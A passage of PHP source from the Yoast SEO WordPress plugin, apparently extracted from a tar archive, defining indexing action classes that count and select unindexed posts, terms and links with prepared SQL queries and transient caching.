			"SELECT COUNT(P.ID)
			FROM {$this->wpdb->posts} AS P
			LEFT JOIN $indexable_table AS I
				ON P.ID = I.object_id
				AND I.link_count IS NOT NULL
				AND I.object_type = 'post'
			LEFT JOIN $links_table AS L
				ON L.post_id = P.ID
				AND L.target_indexable_id IS NULL
				AND L.type = 'internal'
				AND L.target_post_id IS NOT NULL
				AND L.target_post_id != 0
			WHERE ( I.object_id IS NULL OR L.post_id IS NOT NULL )
				AND P.post_status = 'publish'
				AND P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $public_post_types ), '%s' ) ) . ')',
			$public_post_types
		);
	}

	/**
	 * Builds a query for selecting the ID's of unindexed post links.
	 *
	 * @param int|false $limit The maximum number of post link IDs to return.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_select_query( $limit = false ) {
		$public_post_types = $this->post_type_helper->get_indexable_post_types();
		$indexable_table   = Model::get_table_name( 'Indexable' );
		$links_table       = Model::get_table_name( 'SEO_Links' );
		$replacements      = $public_post_types;

		$limit_query = '';
		if ( $limit ) {
			$limit_query    = 'LIMIT %d';
			$replacements[] = $limit;
		}

		// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
		return $this->wpdb->prepare(
			"
			SELECT P.ID, P.post_content
			FROM {$this->wpdb->posts} AS P
			LEFT JOIN $indexable_table AS I
				ON P.ID = I.object_id
				AND I.link_count IS NOT NULL
				AND I.object_type = 'post'
			LEFT JOIN $links_table AS L
				ON L.post_id = P.ID
				AND L.target_indexable_id IS NULL
				AND L.type = 'internal'
				AND L.target_post_id IS NOT NULL
				AND L.target_post_id != 0
			WHERE ( I.object_id IS NULL OR L.post_id IS NOT NULL )
				AND P.post_status = 'publish'
				AND P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $public_post_types ), '%s' ) ) . ")
			$limit_query",
			$replacements
		);
	}
}
wordpress-seo/src/actions/indexing/indexing-prepare-action.php000064400000001264147510273100020644 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\SEO\Helpers\Indexing_Helper;

/**
 * Class Indexing_Prepare_Action.
 *
 * Action for preparing the indexing routine.
 */
class Indexing_Prepare_Action {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * Action for preparing the indexing routine.
	 *
	 * @param Indexing_Helper $indexing_helper The indexing helper.
	 */
	public function __construct(
		Indexing_Helper $indexing_helper
	) {
		$this->indexing_helper = $indexing_helper;
	}

	/**
	 * Prepares the indexing routine.
	 *
	 * @return void
	 */
	public function prepare() {
		$this->indexing_helper->prepare();
	}
}
wordpress-seo/src/actions/indexing/abstract-indexing-action.php000064400000006176147510273100021020 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

/**
 * Base class of indexing actions.
 */
abstract class Abstract_Indexing_Action implements Indexation_Action_Interface, Limited_Indexing_Action_Interface {

	/**
	 * The transient name.
	 *
	 * This is a trick to force derived classes to define a transient themselves.
	 *
	 * @var string
	 */
	public const UNINDEXED_COUNT_TRANSIENT = null;

	/**
	 * The transient cache key for limited counts.
	 *
	 * @var string
	 */
	public const UNINDEXED_LIMITED_COUNT_TRANSIENT = self::UNINDEXED_COUNT_TRANSIENT . '_limited';

	/**
	 * Builds a query for selecting the ID's of unindexed posts.
	 *
	 * @param bool $limit The maximum number of post IDs to return.
	 *
	 * @return string The prepared query string.
	 */
	abstract protected function get_select_query( $limit );

	/**
	 * Builds a query for counting the number of unindexed posts.
	 *
	 * @return string The prepared query string.
	 */
	abstract protected function get_count_query();

	/**
	 * Returns a limited number of unindexed posts.
	 *
	 * @param int $limit Limit the maximum number of unindexed posts that are counted.
	 *
	 * @return int The limited number of unindexed posts. 0 if the query fails.
	 */
	public function get_limited_unindexed_count( $limit ) {
		$transient = \get_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT );
		if ( $transient !== false ) {
			return (int) $transient;
		}

		\set_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT, 0, ( \MINUTE_IN_SECONDS * 15 ) );

		$query = $this->get_select_query( $limit );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_count_query returns a prepared query.
		$unindexed_object_ids = ( $query === '' ) ? [] : $this->wpdb->get_col( $query );
		$count                = (int) \count( $unindexed_object_ids );

		\set_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT, $count, ( \MINUTE_IN_SECONDS * 15 ) );

		return $count;
	}

	/**
	 * Returns the total number of unindexed posts.
	 *
	 * @return int|false The total number of unindexed posts. False if the query fails.
	 */
	public function get_total_unindexed() {
		$transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT );
		if ( $transient !== false ) {
			return (int) $transient;
		}

		// Store transient before doing the query so multiple requests won't make multiple queries.
		// Only store this for 15 minutes to ensure that if the query doesn't complete a wrong count is not kept too long.
		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, ( \MINUTE_IN_SECONDS * 15 ) );

		$query = $this->get_count_query();

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_count_query returns a prepared query.
		$count = ( $query === '' ) ? 0 : $this->wpdb->get_var( $query );

		if ( \is_null( $count ) ) {
			return false;
		}

		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, $count, \DAY_IN_SECONDS );

		/**
		 * Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left.
		 *
		 * @internal
		 */
		\do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $count );

		return (int) $count;
	}
}
wordpress-seo/src/actions/indexing/indexable-general-indexation-action.php000064400000007601147510273100023112 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * General reindexing action for indexables.
 */
class Indexable_General_Indexation_Action implements Indexation_Action_Interface, Limited_Indexing_Action_Interface {

	/**
	 * The transient cache key.
	 */
	public const UNINDEXED_COUNT_TRANSIENT = 'wpseo_total_unindexed_general_items';

	/**
	 * Represents the indexables repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Indexable_General_Indexation_Action constructor.
	 *
	 * @param Indexable_Repository $indexable_repository The indexables repository.
	 */
	public function __construct( Indexable_Repository $indexable_repository ) {
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Returns the total number of unindexed objects.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_total_unindexed() {
		$transient = \get_transient( static::UNINDEXED_COUNT_TRANSIENT );
		if ( $transient !== false ) {
			return (int) $transient;
		}

		$indexables_to_create = $this->query();

		$result = \count( $indexables_to_create );

		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, $result, \DAY_IN_SECONDS );

		/**
		 * Action: 'wpseo_indexables_unindexed_calculated' - sets an option to timestamp when there are no unindexed indexables left.
		 *
		 * @internal
		 */
		\do_action( 'wpseo_indexables_unindexed_calculated', static::UNINDEXED_COUNT_TRANSIENT, $result );

		return $result;
	}

	/**
	 * Returns a limited number of unindexed posts.
	 *
	 * @param int $limit Limit the maximum number of unindexed posts that are counted.
	 *
	 * @return int|false The limited number of unindexed posts. False if the query fails.
	 */
	public function get_limited_unindexed_count( $limit ) {
		return $this->get_total_unindexed();
	}

	/**
	 * Creates indexables for unindexed system pages, the date archive, and the homepage.
	 *
	 * @return Indexable[] The created indexables.
	 */
	public function index() {
		$indexables           = [];
		$indexables_to_create = $this->query();

		if ( isset( $indexables_to_create['404'] ) ) {
			$indexables[] = $this->indexable_repository->find_for_system_page( '404' );
		}

		if ( isset( $indexables_to_create['search'] ) ) {
			$indexables[] = $this->indexable_repository->find_for_system_page( 'search-result' );
		}

		if ( isset( $indexables_to_create['date_archive'] ) ) {
			$indexables[] = $this->indexable_repository->find_for_date_archive();
		}
		if ( isset( $indexables_to_create['home_page'] ) ) {
			$indexables[] = $this->indexable_repository->find_for_home_page();
		}

		\set_transient( static::UNINDEXED_COUNT_TRANSIENT, 0, \DAY_IN_SECONDS );

		return $indexables;
	}

	/**
	 * Returns the number of objects that will be indexed in a single indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		// This matches the maximum number of indexables created by this action.
		return 4;
	}

	/**
	 * Check which indexables already exist and return the values of the ones to create.
	 *
	 * @return array The indexable types to create.
	 */
	private function query() {
		$indexables_to_create = [];
		if ( ! $this->indexable_repository->find_for_system_page( '404', false ) ) {
			$indexables_to_create['404'] = true;
		}

		if ( ! $this->indexable_repository->find_for_system_page( 'search-result', false ) ) {
			$indexables_to_create['search'] = true;
		}

		if ( ! $this->indexable_repository->find_for_date_archive( false ) ) {
			$indexables_to_create['date_archive'] = true;
		}

		$need_home_page_indexable = ( (int) \get_option( 'page_on_front' ) === 0 && \get_option( 'show_on_front' ) === 'posts' );

		if ( $need_home_page_indexable && ! $this->indexable_repository->find_for_home_page( false ) ) {
			$indexables_to_create['home_page'] = true;
		}

		return $indexables_to_create;
	}
}
wordpress-seo/src/actions/indexing/indexable-term-indexation-action.php000064400000012163147510273100022443 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use wpdb;
use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Reindexing action for term indexables.
 */
class Indexable_Term_Indexation_Action extends Abstract_Indexing_Action {

	/**
	 * The transient cache key.
	 */
	public const UNINDEXED_COUNT_TRANSIENT = 'wpseo_total_unindexed_terms';

	/**
	 * The transient cache key for limited counts.
	 *
	 * @var string
	 */
	public const UNINDEXED_LIMITED_COUNT_TRANSIENT = self::UNINDEXED_COUNT_TRANSIENT . '_limited';

	/**
	 * The post type helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The latest version of the Indexable term builder
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexable_Term_Indexation_Action constructor
	 *
	 * @param Taxonomy_Helper            $taxonomy         The taxonomy helper.
	 * @param Indexable_Repository       $repository       The indexable repository.
	 * @param wpdb                       $wpdb             The WordPress database instance.
	 * @param Indexable_Builder_Versions $builder_versions The latest versions of all indexable builders.
	 */
	public function __construct(
		Taxonomy_Helper $taxonomy,
		Indexable_Repository $repository,
		wpdb $wpdb,
		Indexable_Builder_Versions $builder_versions
	) {
		$this->taxonomy   = $taxonomy;
		$this->repository = $repository;
		$this->wpdb       = $wpdb;
		$this->version    = $builder_versions->get_latest_version_for_type( 'term' );
	}

	/**
	 * Creates indexables for unindexed terms.
	 *
	 * @return Indexable[] The created indexables.
	 */
	public function index() {
		$query = $this->get_select_query( $this->get_limit() );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
		$term_ids = ( $query === '' ) ? [] : $this->wpdb->get_col( $query );

		$indexables = [];
		foreach ( $term_ids as $term_id ) {
			$indexables[] = $this->repository->find_by_id_and_type( (int) $term_id, 'term' );
		}

		if ( \count( $indexables ) > 0 ) {
			\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT );
		}

		return $indexables;
	}

	/**
	 * Returns the number of terms that will be indexed in a single indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_term_indexation_limit' - Allow filtering the number of terms indexed during each indexing pass.
		 *
		 * @param int $limit The maximum number of terms indexed.
		 */
		$limit = \apply_filters( 'wpseo_term_indexation_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}

	/**
	 * Builds a query for counting the number of unindexed terms.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_count_query() {
		$indexable_table   = Model::get_table_name( 'Indexable' );
		$taxonomy_table    = $this->wpdb->term_taxonomy;
		$public_taxonomies = $this->taxonomy->get_indexable_taxonomies();

		if ( empty( $public_taxonomies ) ) {
			return '';
		}

		$taxonomies_placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) );

		$replacements = [ $this->version ];
		\array_push( $replacements, ...$public_taxonomies );

		// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
		return $this->wpdb->prepare(
			"
			SELECT COUNT(term_id)
			FROM {$taxonomy_table} AS T
			LEFT JOIN $indexable_table AS I
				ON T.term_id = I.object_id
				AND I.object_type = 'term'
				AND I.version = %d
			WHERE I.object_id IS NULL
				AND taxonomy IN ($taxonomies_placeholders)",
			$replacements
		);
	}

	/**
	 * Builds a query for selecting the ID's of unindexed terms.
	 *
	 * @param bool $limit The maximum number of term IDs to return.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_select_query( $limit = false ) {
		$indexable_table   = Model::get_table_name( 'Indexable' );
		$taxonomy_table    = $this->wpdb->term_taxonomy;
		$public_taxonomies = $this->taxonomy->get_indexable_taxonomies();

		if ( empty( $public_taxonomies ) ) {
			return '';
		}

		$placeholders = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) );

		$replacements = [ $this->version ];
		\array_push( $replacements, ...$public_taxonomies );

		$limit_query = '';
		if ( $limit ) {
			$limit_query    = 'LIMIT %d';
			$replacements[] = $limit;
		}

		// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
		return $this->wpdb->prepare(
			"
			SELECT term_id
			FROM {$taxonomy_table} AS T
			LEFT JOIN $indexable_table AS I
				ON T.term_id = I.object_id
				AND I.object_type = 'term'
				AND I.version = %d
			WHERE I.object_id IS NULL
				AND taxonomy IN ($placeholders)
			$limit_query",
			$replacements
		);
	}
}
wordpress-seo/src/actions/indexing/indexation-action-interface.php000064400000001432147510273100021500 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

/**
 * Interface definition of reindexing action for indexables.
 */
interface Indexation_Action_Interface {

	/**
	 * Returns the total number of unindexed objects.
	 *
	 * @return int The total number of unindexed objects.
	 */
	public function get_total_unindexed();

	/**
	 * Indexes a number of objects.
	 *
	 * NOTE: ALWAYS use limits, this method is intended to be called multiple times over several requests.
	 *
	 * For indexing that requires JavaScript simply return the objects that should be indexed.
	 *
	 * @return array The reindexed objects.
	 */
	public function index();

	/**
	 * Returns the number of objects that will be indexed in a single indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit();
}
wordpress-seo/src/actions/indexing/term-link-indexing-action.php000064400000006677147510273100021125 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;

/**
 * Reindexing action for term link indexables.
 */
class Term_Link_Indexing_Action extends Abstract_Link_Indexing_Action {

	/**
	 * The transient name.
	 *
	 * @var string
	 */
	public const UNINDEXED_COUNT_TRANSIENT = 'wpseo_unindexed_term_link_count';

	/**
	 * The transient cache key for limited counts.
	 *
	 * @var string
	 */
	public const UNINDEXED_LIMITED_COUNT_TRANSIENT = self::UNINDEXED_COUNT_TRANSIENT . '_limited';

	/**
	 * The post type helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * Sets the required helper.
	 *
	 * @required
	 *
	 * @param Taxonomy_Helper $taxonomy_helper The taxonomy helper.
	 *
	 * @return void
	 */
	public function set_helper( Taxonomy_Helper $taxonomy_helper ) {
		$this->taxonomy_helper = $taxonomy_helper;
	}

	/**
	 * Returns objects to be indexed.
	 *
	 * @return array Objects to be indexed.
	 */
	protected function get_objects() {
		$query = $this->get_select_query( $this->get_limit() );

		if ( $query === '' ) {
			return [];
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
		$terms = $this->wpdb->get_results( $query );

		return \array_map(
			static function ( $term ) {
				return (object) [
					'id'      => (int) $term->term_id,
					'type'    => 'term',
					'content' => $term->description,
				];
			},
			$terms
		);
	}

	/**
	 * Builds a query for counting the number of unindexed term links.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_count_query() {
		$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();

		if ( empty( $public_taxonomies ) ) {
			return '';
		}

		$placeholders    = \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) );
		$indexable_table = Model::get_table_name( 'Indexable' );

		// Warning: If this query is changed, makes sure to update the query in get_select_query as well.
		return $this->wpdb->prepare(
			"
			SELECT COUNT(T.term_id)
			FROM {$this->wpdb->term_taxonomy} AS T
			LEFT JOIN $indexable_table AS I
				ON T.term_id = I.object_id
				AND I.object_type = 'term'
				AND I.link_count IS NOT NULL
			WHERE I.object_id IS NULL
				AND T.taxonomy IN ($placeholders)",
			$public_taxonomies
		);
	}

	/**
	 * Builds a query for selecting the ID's of unindexed term links.
	 *
	 * @param int|false $limit The maximum number of term link IDs to return.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_select_query( $limit = false ) {
		$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();

		if ( empty( $public_taxonomies ) ) {
			return '';
		}

		$indexable_table = Model::get_table_name( 'Indexable' );
		$replacements    = $public_taxonomies;

		$limit_query = '';
		if ( $limit ) {
			$limit_query    = 'LIMIT %d';
			$replacements[] = $limit;
		}

		// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
		return $this->wpdb->prepare(
			"
			SELECT T.term_id, T.description
			FROM {$this->wpdb->term_taxonomy} AS T
			LEFT JOIN $indexable_table AS I
				ON T.term_id = I.object_id
				AND I.object_type = 'term'
				AND I.link_count IS NOT NULL
			WHERE I.object_id IS NULL
				AND T.taxonomy IN (" . \implode( ', ', \array_fill( 0, \count( $public_taxonomies ), '%s' ) ) . ")
			$limit_query",
			$replacements
		);
	}
}
wordpress-seo/src/actions/indexing/indexable-indexing-complete-action.php000064400000001316147510273100022745 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\SEO\Helpers\Indexable_Helper;

/**
 * Indexing action to call when the indexable indexing process is completed.
 */
class Indexable_Indexing_Complete_Action {

	/**
	 * The options helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Indexable_Indexing_Complete_Action constructor.
	 *
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 */
	public function __construct( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Wraps up the indexing process.
	 *
	 * @return void
	 */
	public function complete() {
		$this->indexable_helper->finish_indexing();
	}
}
wordpress-seo/src/actions/indexing/indexing-complete-action.php000064400000001227147510273100021015 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\SEO\Helpers\Indexing_Helper;

/**
 * Indexing action to call when the indexing is completed.
 */
class Indexing_Complete_Action {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * Indexing_Complete_Action constructor.
	 *
	 * @param Indexing_Helper $indexing_helper The indexing helper.
	 */
	public function __construct( Indexing_Helper $indexing_helper ) {
		$this->indexing_helper = $indexing_helper;
	}

	/**
	 * Wraps up the indexing process.
	 *
	 * @return void
	 */
	public function complete() {
		$this->indexing_helper->complete();
	}
}
wordpress-seo/src/actions/indexing/abstract-link-indexing-action.php000064400000006166147510273100021752 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use wpdb;
use Yoast\WP\SEO\Builders\Indexable_Link_Builder;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Models\SEO_Links;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Reindexing action for link indexables.
 */
abstract class Abstract_Link_Indexing_Action extends Abstract_Indexing_Action {

	/**
	 * The link builder.
	 *
	 * @var Indexable_Link_Builder
	 */
	protected $link_builder;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * Indexable_Post_Indexing_Action constructor
	 *
	 * @param Indexable_Link_Builder $link_builder     The indexable link builder.
	 * @param Indexable_Helper       $indexable_helper The indexable repository.
	 * @param Indexable_Repository   $repository       The indexable repository.
	 * @param wpdb                   $wpdb             The WordPress database instance.
	 */
	public function __construct(
		Indexable_Link_Builder $link_builder,
		Indexable_Helper $indexable_helper,
		Indexable_Repository $repository,
		wpdb $wpdb
	) {
		$this->link_builder     = $link_builder;
		$this->indexable_helper = $indexable_helper;
		$this->repository       = $repository;
		$this->wpdb             = $wpdb;
	}

	/**
	 * Builds links for indexables which haven't had their links indexed yet.
	 *
	 * @return SEO_Links[] The created SEO links.
	 */
	public function index() {
		$objects = $this->get_objects();

		$indexables = [];
		foreach ( $objects as $object ) {
			$indexable = $this->repository->find_by_id_and_type( $object->id, $object->type );
			if ( $indexable ) {
				$this->link_builder->build( $indexable, $object->content );
				$this->indexable_helper->save_indexable( $indexable );

				$indexables[] = $indexable;
			}
		}

		if ( \count( $indexables ) > 0 ) {
			\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT );
		}

		return $indexables;
	}

	/**
	 * In the case of term-links and post-links we want to use the total unindexed count, because using
	 * the limited unindexed count actually leads to worse performance.
	 *
	 * @param int|bool $limit Unused.
	 *
	 * @return int The total number of unindexed links.
	 */
	public function get_limited_unindexed_count( $limit = false ) {
		return $this->get_total_unindexed();
	}

	/**
	 * Returns the number of texts that will be indexed in a single link indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_link_indexing_limit' - Allow filtering the number of texts indexed during each link indexing pass.
		 *
		 * @param int $limit The maximum number of texts indexed.
		 */
		return \apply_filters( 'wpseo_link_indexing_limit', 5 );
	}

	/**
	 * Returns objects to be indexed.
	 *
	 * @return array Objects to be indexed, should be an array of objects with object_id, object_type and content.
	 */
	abstract protected function get_objects();
}
wordpress-seo/src/actions/indexing/indexable-post-indexation-action.php000064400000013313147510273100022457 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use wpdb;
use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Reindexing action for post indexables.
 */
class Indexable_Post_Indexation_Action extends Abstract_Indexing_Action {

	/**
	 * The transient cache key.
	 *
	 * @var string
	 */
	public const UNINDEXED_COUNT_TRANSIENT = 'wpseo_total_unindexed_posts';

	/**
	 * The transient cache key for limited counts.
	 *
	 * @var string
	 */
	public const UNINDEXED_LIMITED_COUNT_TRANSIENT = self::UNINDEXED_COUNT_TRANSIENT . '_limited';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * The post helper.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The latest version of Post Indexables.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexable_Post_Indexing_Action constructor
	 *
	 * @param Post_Type_Helper           $post_type_helper The post type helper.
	 * @param Indexable_Repository       $repository       The indexable repository.
	 * @param wpdb                       $wpdb             The WordPress database instance.
	 * @param Indexable_Builder_Versions $builder_versions The latest versions for each Indexable type.
	 * @param Post_Helper                $post_helper      The post helper.
	 */
	public function __construct(
		Post_Type_Helper $post_type_helper,
		Indexable_Repository $repository,
		wpdb $wpdb,
		Indexable_Builder_Versions $builder_versions,
		Post_Helper $post_helper
	) {
		$this->post_type_helper = $post_type_helper;
		$this->repository       = $repository;
		$this->wpdb             = $wpdb;
		$this->version          = $builder_versions->get_latest_version_for_type( 'post' );
		$this->post_helper      = $post_helper;
	}

	/**
	 * Creates indexables for unindexed posts.
	 *
	 * @return Indexable[] The created indexables.
	 */
	public function index() {
		$query = $this->get_select_query( $this->get_limit() );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Function get_select_query returns a prepared query.
		$post_ids = $this->wpdb->get_col( $query );

		$indexables = [];
		foreach ( $post_ids as $post_id ) {
			$indexables[] = $this->repository->find_by_id_and_type( (int) $post_id, 'post' );
		}

		if ( \count( $indexables ) > 0 ) {
			\delete_transient( static::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( static::UNINDEXED_LIMITED_COUNT_TRANSIENT );
		}

		return $indexables;
	}

	/**
	 * Returns the number of posts that will be indexed in a single indexing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_post_indexation_limit' - Allow filtering the amount of posts indexed during each indexing pass.
		 *
		 * @param int $limit The maximum number of posts indexed.
		 */
		$limit = \apply_filters( 'wpseo_post_indexation_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}

	/**
	 * Builds a query for counting the number of unindexed posts.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_count_query() {
		$indexable_table = Model::get_table_name( 'Indexable' );

		$post_types             = $this->post_type_helper->get_indexable_post_types();
		$excluded_post_statuses = $this->post_helper->get_excluded_post_statuses();
		$replacements           = \array_merge(
			$post_types,
			$excluded_post_statuses
		);

		$replacements[] = $this->version;

		// Warning: If this query is changed, makes sure to update the query in get_select_query as well.
		// @phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
		return $this->wpdb->prepare(
			"
			SELECT COUNT(P.ID)
			FROM {$this->wpdb->posts} AS P
			WHERE P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ')
			AND P.post_status NOT IN (' . \implode( ', ', \array_fill( 0, \count( $excluded_post_statuses ), '%s' ) ) . ")
			AND P.ID not in (
				SELECT I.object_id from $indexable_table as I
				WHERE I.object_type = 'post'
				AND I.version = %d )",
			$replacements
		);
	}

	/**
	 * Builds a query for selecting the ID's of unindexed posts.
	 *
	 * @param bool $limit The maximum number of post IDs to return.
	 *
	 * @return string The prepared query string.
	 */
	protected function get_select_query( $limit = false ) {
		$indexable_table = Model::get_table_name( 'Indexable' );

		$post_types             = $this->post_type_helper->get_indexable_post_types();
		$excluded_post_statuses = $this->post_helper->get_excluded_post_statuses();
		$replacements           = \array_merge(
			$post_types,
			$excluded_post_statuses
		);
		$replacements[]         = $this->version;

		$limit_query = '';
		if ( $limit ) {
			$limit_query    = 'LIMIT %d';
			$replacements[] = $limit;
		}

		// Warning: If this query is changed, makes sure to update the query in get_count_query as well.
		// @phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber
		return $this->wpdb->prepare(
			"
			SELECT P.ID
			FROM {$this->wpdb->posts} AS P
			WHERE P.post_type IN (" . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ')
			AND P.post_status NOT IN (' . \implode( ', ', \array_fill( 0, \count( $excluded_post_statuses ), '%s' ) ) . ")
			AND P.ID not in (
				SELECT I.object_id from $indexable_table as I
				WHERE I.object_type = 'post'
				AND I.version = %d )
			$limit_query",
			$replacements
		);
	}
}
wordpress-seo/src/actions/indexing/limited-indexing-action-interface.php000064400000000763147510273100022576 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

/**
 * Interface definition of a reindexing action for indexables that have a limited unindexed count.
 */
interface Limited_Indexing_Action_Interface {

	/**
	 * Returns a limited number of unindexed posts.
	 *
	 * @param int $limit Limit the maximum number of unindexed posts that are counted.
	 *
	 * @return int|false The limited number of unindexed posts. False if the query fails.
	 */
	public function get_limited_unindexed_count( $limit );
}
wordpress-seo/src/actions/indexing/indexable-post-type-archive-indexation-action.php000064400000013737147510273100025067 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Indexing;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * Reindexing action for post type archive indexables.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Indexable_Post_Type_Archive_Indexation_Action implements Indexation_Action_Interface, Limited_Indexing_Action_Interface {


	/**
	 * The transient cache key.
	 */
	public const UNINDEXED_COUNT_TRANSIENT = 'wpseo_total_unindexed_post_type_archives';

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The current version of the post type archive indexable builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexation_Post_Type_Archive_Action constructor.
	 *
	 * @param Indexable_Repository       $repository The indexable repository.
	 * @param Indexable_Builder          $builder    The indexable builder.
	 * @param Post_Type_Helper           $post_type  The post type helper.
	 * @param Indexable_Builder_Versions $versions   The current versions of all indexable builders.
	 */
	public function __construct(
